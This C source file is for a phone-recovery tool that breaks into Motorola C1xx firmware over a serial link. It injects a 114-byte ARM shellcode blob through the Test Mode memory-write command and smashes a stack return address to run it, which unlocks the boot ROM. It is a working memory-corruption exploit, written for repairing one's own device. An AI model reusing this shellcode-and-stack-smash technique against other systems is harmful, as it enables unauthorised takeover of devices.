/*
 * This program facilitates the recovery of those Compal/Motorola phones
 * whose bootloaders have been maliciously locked down.  It connects
 * to a running Mot C1xx firmware through the RVTMUX interface provided
 * by the latter and uses the Test Mode memory write command (which
 * these firmwares implement just like TI's reference fw) to inject
 * some shellcode and to transfer control to it by overwriting a
 * function return address on the stack.  The injected shellcode then
 * enables the Calypso boot ROM and jumps to it, allowing fc-loadtool
 * to take over from there.
 */

#include <sys/types.h>
#include <sys/errno.h>
#include <stdio.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include "../include/pktmux.h"
#include "../include/limits.h"

extern int target_fd;
extern char *baudrate_name;

extern u_char rxpkt[];
extern size_t rxpkt_len;

char *logfname;
FILE *logF;
time_t logtime;
int no_output;	/* for output.c */

int wakeup_after_sec = 1;

/* see ../../target-utils/tf-breakin/payload.S for the source */
static u_char shellcode[114] = {
	0x78, 0x47, 0xC0, 0x46, 0xD3, 0xF0, 0x21, 0xE3,
	0x50, 0x10, 0x9F, 0xE5, 0xF5, 0x00, 0xA0, 0xE3,
	0xB2, 0x00, 0xC1, 0xE1, 0xA0, 0x00, 0xA0, 0xE3,
	0xB2, 0x00, 0xC1, 0xE1, 0x40, 0x60, 0x9F, 0xE5,
	0x05, 0x00, 0xD6, 0xE5, 0x20, 0x00, 0x10, 0xE3,
	0xFC, 0xFF, 0xFF, 0x0A, 0x38, 0x10, 0x8F, 0xE2,
	0x06, 0x20, 0xA0, 0xE3, 0x01, 0x00, 0xD1, 0xE4,
	0x00, 0x00, 0xC6, 0xE5, 0x01, 0x20, 0x52, 0xE2,
	0xFB, 0xFF, 0xFF, 0x1A, 0x05, 0x00, 0xD6, 0xE5,
	0x40, 0x00, 0x10, 0xE3, 0xFC, 0xFF, 0xFF, 0x0A,
	0x10, 0x10, 0x9F, 0xE5, 0x01, 0x2C, 0xA0, 0xE3,
	0xB0, 0x20, 0xC1, 0xE1, 0x00, 0xF0, 0xA0, 0xE3,
	0x02, 0xF8, 0xFF, 0xFF, 0x00, 0x58, 0xFF, 0xFF,
	0x10, 0xFB, 0xFF, 0xFF, 0x02, 0x02, 0x02, 0x4F,
	0x4B, 0x02
};

static unsigned shellcode_load_addr;
static unsigned stack_smash_addr;
static int thumb_entry = 1;

static u_char stack_smash_payload[4];
static int breakin_in_progress;

static char *target_tty_port;

static void
send_compal_memwrite(addr, payload, payload_len)
	unsigned addr;
	u_char *payload;
{
	u_char pkt[MAX_PKT_TO_TARGET];
	int i, csum, csum_offset;

	pkt[0] = RVT_TM_HEADER;
	pkt[1] = 0x40;		/* old TM3 MEM_WRITE command */
	pkt[2] = addr;
	pkt[3] = addr >> 8;
	pkt[4] = addr >> 16;
	pkt[5] = addr >> 24;
	bcopy(payload, pkt + 6, payload_len);
	csum_offset = payload_len + 6;
	csum = 0;
	for (i = 1; i < csum_offset; i++)
		csum ^= pkt[i];
	pkt[i] = csum;
	send_pkt_to_target(pkt, i + 1);
}

static void
initiate_breakin()
{
	char msgbuf[80];
	unsigned jump_addr;

	sprintf(msgbuf,
	      "Using shellcode load addr 0x%x, stack smash starting addr 0x%x",
		shellcode_load_addr, stack_smash_addr);
	output_line(msgbuf);
	jump_addr = shellcode_load_addr;
	if (thumb_entry)
		jump_addr += 1;
	else
		jump_addr += 4;
	stack_smash_payload[0] = jump_addr;
	stack_smash_payload[1] = jump_addr >> 8;
	stack_smash_payload[2] = jump_addr >> 16;
	stack_smash_payload[3] = jump_addr >> 24;
	output_line("Sending shellcode RAM write");
	send_compal_memwrite(shellcode_load_addr, shellcode, sizeof shellcode);
	breakin_in_progress = 1;
}

static void
send_memcheck_query()
{
	u_char sendpkt[25];

	output_line("Sending GPF MEMCHECK query");
	/* fill out the packet */
	sendpkt[0] = RVT_L23_HEADER;
	sendpkt[1] = 0xB7;	/* system prim */
	sendpkt[2] = 20;
	sendpkt[3] = 0;
	/* send zeros for the timestamp */
	sendpkt[4] = 0;
	sendpkt[5] = 0;
	sendpkt[6] = 0;
	sendpkt[7] = 0;
	/* fixed string with all fields */
	strcpy(sendpkt + 8, "PCO L1  MEMCHECK");
	/* send it! */
	send_pkt_to_target(sendpkt, 24);
}

main(argc, argv)
	char **argv;
{
	extern char *optarg;
	extern int optind;
	int c;
	fd_set fds;

	baudrate_name = "57600";	/* what C139 firmware uses */
	while ((c = getopt(argc, argv, "a:AB:l:ms:w:")) != EOF)
		switch (c) {
		case 'a':
			shellcode_load_addr = strtoul(optarg, 0, 16);
			continue;
		case 'B':
			baudrate_name = optarg;
			continue;
		case 'l':
			logfname = optarg;
			continue;
		case 'm':
			/* mimic mot931c.exe */
			shellcode_load_addr = 0x800000;
			stack_smash_addr = 0x837C54;
			/* FALL THRU */
		case 'A':
			thumb_entry = 0;
			continue;
		case 's':
			stack_smash_addr = strtoul(optarg, 0, 16);
			continue;
		case 'w':
			wakeup_after_sec = strtoul(optarg, 0, 0);
			continue;
		case '?':
		default:
usage:			fprintf(stderr,
				"usage: %s [options] ttyport\n", argv[0]);
			exit(1);
		}
	if (argc - optind != 1)
		goto usage;
	if (stack_smash_addr && !shellcode_load_addr) {
		fprintf(stderr, "usage error: -a option required with -s\n");
		exit(1);
	}
	open_target_serial(argv[optind]);
	target_tty_port = argv[optind];

	set_serial_nonblock(0);
	setlinebuf(stdout);
	if (logfname) {
		logF = fopen(logfname, "w");
		if (!logF) {
			perror(logfname);
			exit(1);
		}
		setlinebuf(logF);
		fprintf(logF, "*** Log of TFC139 break-in session ***\n");
	}
	time(&logtime);
	if (stack_smash_addr)
		initiate_breakin();
	else
		send_memcheck_query();
	for (;;) {
		FD_ZERO(&fds);
		FD_SET(target_fd, &fds);
		c = select(target_fd+1, &fds, 0, 0, 0);
		time(&logtime);
		if (c < 0) {
			if (errno == EINTR)
				continue;
			perror("select");
			exit(1);
		}
		if (FD_ISSET(target_fd, &fds))
			process_serial_rx();
	}
}

static void
handle_tm_response()
{
	char msgbuf[80];

	if (!breakin_in_progress) {
		output_line("TM response unexpected at this time");
		return;
	}
	if (rxpkt_len != 4 || rxpkt[1] != 0x40 || rxpkt[2] || rxpkt[3] != 0x40){
		output_line("TM response differs from expected");
		return;
	}
	sprintf(msgbuf, "Sending stack smash write at 0x%x", stack_smash_addr);
	output_line(msgbuf);
	send_compal_memwrite(stack_smash_addr, stack_smash_payload, 4);
	stack_smash_addr += 4;
}

static void
analyze_gpf_packet()
{
	unsigned stackbase, untouched;
	static char format[] =
	  "Name:L1 Stat:%*s Count:%*s Prio:%*s Stack:%x Size:%*s Untouched:%u";
	char msgbuf[80];

	if (rxpkt_len < 17 || rxpkt_len > 128)
		return;
	/* it needs to be a trace packet */
	if ((rxpkt[1] & 0xF0) != 0xA0)
		return;
	/* check the length */
	if (rxpkt[2] + 4 != rxpkt_len)
		return;
	if (rxpkt[3])
		return;
	/* skip timestamp, check src and dest */
	if (strncmp(rxpkt + 8, "SYSTPCO ", 8))
		return;
	/* terminating NUL for sscanf */
	rxpkt[rxpkt_len] = '\0';
	if (sscanf(rxpkt + 16, format, &stackbase, &untouched) != 2)
		return;
	/* success! */
	sprintf(msgbuf,
		"Parsed L1 stack location: base=0x%x, untouched=%u (0x%x)",
		stackbase, untouched, untouched);
	output_line(msgbuf);
	if (stackbase & 3) {
		output_line("Error: stack base address is not word-aligned");
		exit(1);
	}
	untouched &= ~3;
	if (!shellcode_load_addr) {
		if (untouched < sizeof shellcode) {
			output_line("Error: not enough room for shellcode");
			exit(1);
		}
		shellcode_load_addr = stackbase;
	}
	stack_smash_addr = stackbase + untouched;
	initiate_breakin();
}

handle_rx_packet()
{
	if (rxpkt_len == 2 && rxpkt[0] == 'O' && rxpkt[1] == 'K') {
		output_line(
		"Success: target should now be in boot ROM download wait");
		printf("You can now run fc-loadtool -h compal -c none %s\n",
			target_tty_port);
		exit(0);
	}
	switch (rxpkt[0]) {
	case RVT_RV_HEADER:
		if (rxpkt_len < 6)
			goto unknown;
		print_rv_trace();
		return;
	case RVT_L1_HEADER:
		print_l1_trace();
		return;
	case RVT_L23_HEADER:
		print_g23_trace();
		if (!breakin_in_progress)
			analyze_gpf_packet();
		return;
	case RVT_TM_HEADER:
		print_tm_output_raw();
		handle_tm_response();
		return;
	default:
	unknown:
		print_unknown_packet();
	}
}